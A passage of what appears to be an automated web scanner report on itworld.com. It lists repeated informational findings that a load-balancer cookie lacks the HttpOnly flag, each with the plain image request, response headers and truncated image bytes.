Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/icu-redbar.gif HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_470b1e44d460d0e76834779be626f7fe.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Fri, 14 Jan 2011 23:52:32 GMT
ETag: "37fff4-3d-499d720abf000"
Content-Type: image/gif
Content-Length: 61
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:16 GMT
X-Varnish: 1959719395
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

GIF89a.$.....'....!.......,.....$......................Q..;

7.103. http://www.itworld.com/sites/all/themes/itworld/images/in-share.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/in-share.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/in-share.gif HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:28 GMT
ETag: "37fff6-b5b-497f49830ec00"
Content-Type: image/gif
Content-Length: 2907
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:14 GMT
X-Varnish: 1959719283
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

GIF89a7......i.....z...........ID6............x....................h}.i..hr....Xw................;EM......FLg}...........f........T.................q.................U{.[..b.....FDA.........Y.........
...[SNIP]...

7.104. http://www.itworld.com/sites/all/themes/itworld/images/itworld_logo.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/itworld_logo.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/itworld_logo.png HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_470b1e44d460d0e76834779be626f7fe.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Mon, 31 Jan 2011 19:32:43 GMT
ETag: "3802b0-1e97-49b297acc0cc0"
Content-Type: image/png
Content-Length: 7831
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:10 GMT
X-Varnish: 1959719035 1959715840
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 27
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

.PNG
.
...IHDR...............@g....tEXtSoftware.Adobe ImageReadyq.e<...9IDATx..]{l...w./.c'.Z..Gh....{W.j.F.&H...-..l..X". .4.#.."o+U.hy...%.b...J..@.D..R..""......T$..+.?.N........s...<........e..s
...[SNIP]...

7.105. http://www.itworld.com/sites/all/themes/itworld/images/joinandpostbg.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/joinandpostbg.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/joinandpostbg.gif HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_10cd9db87fdd7c34896a27df8d81e201.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:28 GMT
ETag: "37fffb-8e0-497f49830ec00"
Content-Type: image/gif
Content-Length: 2272
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:22:37 GMT
X-Varnish: 252446458 252446276
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 2
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

GIF89a..X.......G..J..r..p........,h.)........z..w...Lw
n.......{..=..z..@z.....Px....q.7i.3...{.#_..........h.....f..^..T.....R..\.....6q.3........&\..U."{..u.U..X..f..i........D..Hu.....Cn.g........
...[SNIP]...

7.106. http://www.itworld.com/sites/all/themes/itworld/images/linkedin-icon-sml.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/linkedin-icon-sml.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/linkedin-icon-sml.png HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_470b1e44d460d0e76834779be626f7fe.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Thu, 30 Dec 2010 20:36:17 GMT
ETag: "37ffff-301-498a6a3351240"
Content-Type: image/png
Content-Length: 769
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:14 GMT
X-Varnish: 1959719298
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

.PNG
.
...IHDR................a... pHYs................ cHRM..mu..s........Q..n......./.......I.....IDATx.|.Mk.W....y..{.@.4b,h[-B]D.n......H.......O.U?A..;A[...Z% . ..h.F%j.obL..I...3....,...f...g
...[SNIP]...

7.107. http://www.itworld.com/sites/all/themes/itworld/images/mag-glass.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/mag-glass.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/mag-glass.gif HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_470b1e44d460d0e76834779be626f7fe.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:28 GMT
ETag: "380007-18e-497f49830ec00"
Content-Type: image/gif
Content-Length: 398
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:15 GMT
X-Varnish: 1959719366
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

GIF89a..........................qq......................93.6..6/.5..6/........................._^.......WV.XW!.......,............#IO$EP..........E(......S....Z..l.\.J. .QA$,._....ZQ.dL.d .ZoH\.'...@6
...[SNIP]...

7.108. http://www.itworld.com/sites/all/themes/itworld/images/more-down-arrow.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/more-down-arrow.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/more-down-arrow.png HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_470b1e44d460d0e76834779be626f7fe.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 18 May 2011 21:08:41 GMT
ETag: "694c36-b41-4a3934b054840"
Content-Type: image/png
Content-Length: 2881
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:15 GMT
X-Varnish: 1959719367
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

.PNG
.
...IHDR...
.........u...... pHYs...............
OiCCPPhotoshop ICC profile..x..SgTS..=...BK...KoR.. RB....&*! .J.!...Q..EE...........Q,..
...!.........{.k........>...........H3Q5...B.........
...[SNIP]...

7.109. http://www.itworld.com/sites/all/themes/itworld/images/next-blog.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/next-blog.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/next-blog.png HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_10cd9db87fdd7c34896a27df8d81e201.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:27 GMT
ETag: "38000f-458-497f49821a9c0"
Content-Type: image/png
Content-Length: 1112
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:22:36 GMT
X-Varnish: 252446403
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

.PNG
.
...IHDR.......6.....E.^ ....tEXtSoftware.Adobe ImageReadyq.e<...fiTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="A
...[SNIP]...

7.110. http://www.itworld.com/sites/all/themes/itworld/images/prev-next-footerline.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/prev-next-footerline.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/prev-next-footerline.png HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_10cd9db87fdd7c34896a27df8d81e201.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:28 GMT
ETag: "38001c-3e5-497f49830ec00"
Content-Type: image/png
Content-Length: 997
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:22:36 GMT
X-Varnish: 252446404
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

.PNG
.
...IHDR...............Q7....tEXtSoftware.Adobe ImageReadyq.e<...fiTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="A
...[SNIP]...

7.111. http://www.itworld.com/sites/all/themes/itworld/images/print.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/print.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/print.gif HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_10cd9db87fdd7c34896a27df8d81e201.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:28 GMT
ETag: "38001e-4c9-497f49830ec00"
Content-Type: image/gif
Content-Length: 1225
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:22:36 GMT
X-Varnish: 252446402
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

GIF89a...............................!..XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:3
...[SNIP]...

7.112. http://www.itworld.com/sites/all/themes/itworld/images/questionbubble-dk.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/questionbubble-dk.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/questionbubble-dk.png HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_470b1e44d460d0e76834779be626f7fe.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:28 GMT
ETag: "380027-4a1-497f49830ec00"
Content-Type: image/png
Content-Length: 1185
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:17 GMT
X-Varnish: 1959719445
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

.PNG
.
...IHDR...............$.....tEXtSoftware.Adobe ImageReadyq.e<...fiTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="A
...[SNIP]...

7.113. http://www.itworld.com/sites/all/themes/itworld/images/redarrow-rt.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/redarrow-rt.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/redarrow-rt.png HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_10cd9db87fdd7c34896a27df8d81e201.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:28 GMT
ETag: "380029-44f-497f49830ec00"
Content-Type: image/png
Content-Length: 1103
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:22:36 GMT
X-Varnish: 252446400
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

.PNG
.
...IHDR...
.........7......tEXtSoftware.Adobe ImageReadyq.e<...fiTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="A
...[SNIP]...

7.114. http://www.itworld.com/sites/all/themes/itworld/images/rssicon-sml.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/rssicon-sml.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/rssicon-sml.gif HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_10cd9db87fdd7c34896a27df8d81e201.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:28 GMT
ETag: "38002f-4f6-497f49830ec00"
Content-Type: image/gif
Content-Length: 1270
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:22:36 GMT
X-Varnish: 252446408
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
